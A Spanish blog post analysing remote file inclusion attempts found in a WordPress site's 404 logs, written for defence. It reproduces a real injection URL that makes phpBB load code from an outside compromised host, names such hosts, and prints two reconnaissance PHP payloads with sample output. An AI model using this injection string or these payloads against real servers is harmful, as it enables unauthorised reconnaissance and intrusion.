Obtención masiva de información técnica de servidores: así trabajan los atacantes

Hola,

Recientemente instalé un plugin para WordPress que se llama 404 notifier. Este plugin es muy útil, ya que para cada hit que provoque un error 404, el motor del blog me envía un correo electrónico informando de que alguien ha intentado acceder a un contenido sin éxito.

Estos plugins son muy útiles para detectar no sólamente grandes cantidades de contenidos que se han vuelto inaccesibles, como sucede en un cambio de permalinks o de directorios, sino para afinar y corregir enlaces rotos que por la razón que sea, han sido incluidos en los motores de búsqueda con nomenclaturas distintas a las actuales (por ejemplo, la antigua denominación de categorías del blog, ya que, por poner un ejemplo, lo que antes era http://www.sahw.com/wp/archivos/category/freestyle/ ahora es http://www.sahw.com/wp/categorias/freestyle/)

Pero este plugin tiene otra función interesante, y esa no es otra que identificar exploits. Hoy vamos a ver un ejemplo real. Tengo que agradecer a SdP su cooperación, ya que mis nociones de Perl son limitadas, y sin embargo, las suyas son muy elevadas, y con su ayuda he podido generar un script que barra un fichero mbox de Thunderbird donde conservo los mensajes de 404 notifier, automatizando la extracción de hiperenlaces anidados en URLs legítimas. Gracias :D

1. Un ejemplo de un correo originado por 404 notifier que contiene un enlace legítimo

Este es un ejemplo real de un correo del plugin, en el que como podemos ver, hay un informe de error 404 provocado por un usuario cuando intentaba acceder a un contenido:

Como resulta fácil comprobar, aparece claramente una URL de destino http://www.sahw.com/wp/favicon.ico. Efectivamente, si visitáis ese enlace, obtendremos un 404, porque no hay un favicon ahí alojado. El favicon del dominio sahw.com está alojado en http://www.sahw.com/favicon.ico

2. Un ejemplo de un correo originado por 404 notifier que contiene un enlace malicioso

Observad ahora este correo. Como podéis ver (es un ejemplo real, vivo en el momento de publicar esta información, aunque en la imagen no aparece completo), se advierte un error 404 al intentar acceder a la URL http://www.sahw.com/wp/archivos/2005/08/12/diez-razones-pa…r-en-internet-explorer-7//modules/PNphpBB2/includes/db.php?phpbb_root_path=http://www.bahai.org.ve//sistem.txt?. Pero fijaos que el error lo provoca un intento de inyección que, en última instancia, trataba de acceder a http://www.bahai.org.ve//sistem.txt?, dirección que al ser accedida muestra lo siguiente:

3. Analizando

¿Qué pasa si cogemos un total de 707 mensajes generados por 404 notifier y extraemos las URLs maliciosas que puedan contener. El resultado es este listado, en el que se enumeran 45 servidores comprometidos al servicio de los atacantes (en su mayoría, vivos en el momento de publicar este artículo)

Un porcentaje nada desdeñable. El 6,3% de los errores 404 provocados en este blog procede de ataques, o si se prefiere, casi 7 de cada 100 accesos a contenidos inexistentes del blog no han sido provocados por la ausencia de contenidos, sino por la mala intención de un grupo de atacantes.

4. ¿Y qué hace ese código que aparece anteriormente?

Veamos el contenido

< ?
echo "ALBANIA"; < --- texto libre del atacante
$alb = @php_uname(); < --- devuelve una descripción del sistema operativo
$alb2 = system(uptime); < -- devuelve el tiempo que lleva un sistema sin reiniciarse
$alb3 = system(id); <-- imprime el UID de la cuenta con la que se ejecuta el script
$alb4 = @getcwd(); <-- devuelve el directorio de trabajo
$alb5 = getenv("SERVER_SOFTWARE"); <-- variable de contorno que informa del tipo de servidor web y su versión
$alb6 = phpversion(); <-- versión de PHP en ejecución
$alb7 = $_SERVER['SERVER_NAME']; <-- variable de contorno, devuelve el nombre de la máquina, alias DNS o de la IP.
$alb8 = gethostbyname($SERVER_ADDR); <-- variable de contorno, devuelve la IP del servidor
$alb9 = get_current_user(); <-- usuario con el que se ejecuta un script PHP
$os = @PHP_OS; <-- versión reducida de php_uname(), sólo muestra el nombre del sistema operativo

===========================================
El siguiente bloque sólo imprime lo obtenido anteriormente
===========================================

echo "os: $os";
echo "uname -a: $alb";
echo "uptime: $alb2";
echo "id: $alb3";
echo "pwd: $alb4";
echo "user: $alb9";
echo "phpv: $alb6";
echo "SoftWare: $alb5";
echo "ServerName: $alb7";
echo "ServerAddr: $alb8";
echo "UNITED ALBANIANS aka ALBOSS PARADISE"; < --- otra firma
exit; <--- finaliza el script
?>

Una ejecución tendría un aspecto similar al siguiente:

ALBANIA
15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00 uid=33(www-data) gid=33(www-data) grupos=33(www-data) os: Linux
uname -a: Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686
uptime: 15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00
id: uid=33(www-data) gid=33(www-data) grupos=33(www-data)
pwd: /home/XXXXXXXX/public_html/exploitphp
user: XXXXXXXX
phpv: 5.2.4-2ubuntu5.3

SoftWare: Apache
ServerName: 192.168.1.3
ServerAddr:
UNITED ALBANIANS aka ALBOSS PARADISE

5. ¿Cuál es el mecanismo que los atacantes emplean para obtener la información técnica de un servidor?

El ataque se fundamenta en lanzar contra listas ingentes de servidores inyecciones similares a la mostrada, con el objetivo de obtener información técnica de las máquinas. Si consigo ejecutar en el servidor A (en este caso, lo intentaron contra mi blog) el código malicioso ubicado en el servidor B (por ejemplo, el ejemplo de http://www.bahai.org.ve//sistem.txt?) los atacantes obtendrían información técnica de mi servidor. Esto se basa en que algunos productos PHP, especialmente PHPNuke y phpBB, son susceptibles de este tipo de inyecciones, y permiten la ejecución de código malicioso inyectado desde otros sitios web, previamente comprometidos para servir el código a ejecutar. Y para colmo de males, ambos productos están muy extendidos, con lo que se trata de lanzar muchas peticiones, y luego recoger con la caña información de muchos servidores. Es una simple cuestión estadística, donde el único coste que hay que poner en lo alto de la mesa es el ancho de banda para que un script Perl (casi todos los accesos tenían User Agent libwww-perl/5.80) ejecute miles de intentos de inyección contra miles de sitios cada día.

6. ¿Por qué hacen esto?

Obviamente, para obtener información técnica de servidores, que facilite ataques dirigidos posteriores. Por ejemplo, si de la ejecución anterior obtenemos que el servidor 192.168.1.3 corre una versión de PHP (phpv: 5.2.4-2ubuntu5.3) vulnerable, que lo es, los atacantes ya tienen información suficiente para tratar de explotarlo, porque saben que en esa IP hay un producto susceptible de ataques.

Por otro lado, estas ejecuciones remotas permiten ir censando máquinas, y generar datos suficientes para explotar versiones determinadas de PHP, o del propio servidor Web, cuando aparezcan nuevas versiones y las actuales queden obsoletas. Si hoy me hago una lista de versiones PHP actualizadas (5.2.6), y mañana aparece una versión 5.2.7 que corrige fallos de seguridad, ya tengo una lista de sitios que, en ausencia de actualización, son blancos ideales para ser atacados.

7. ¿Es esto algo nuevo?

Lamentablemente, no. El ejemplo real que hemos visto lo bautizó en su momento el laboratorio de Eset, fabricante de NOD32, como PHP/Zapchast.C. Tiene otras denominaciones, y es un tipo de malware que lleva rondando la red, bajo este formato, desde más o menos abril de 2008.

Eso sí, el código va cambiando. Mirad el ejemplo, también real, de http://motookazja.com.pl/admin/libs/config.txt??, donde se introducen nuevas variables informativas, como el espacio en disco:

< ?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len < =6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len < =9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
   
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
                           
}

echo "knowledgeteam
";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;


echo "knowledgeteam was here ..";
echo "uname -a: $un";
echo "os: $os";
echo "uptime: $up";
echo "id: $id1";
echo "pwd: $pwd1";
echo "php: $php1";
echo "software: $sof1";
echo "server-name: $name1";
echo "server-ip: $ip1";
echo "free: $free";
echo "used: $used";
echo "total: $all";
exit;

8. ¿Cómo evitar se parte de la trama?

Si administras un servidor Web, mantén siempre actualizados el software base y todos los productos. Emplea contraseñas y protocolos de acceso seguros, para impedir que nadie aloje en tus páginas código de este tipo.

Y revisa periódicamente los logs, para detectar patrones similares al descrito. No te queda otra :)

Un saludo,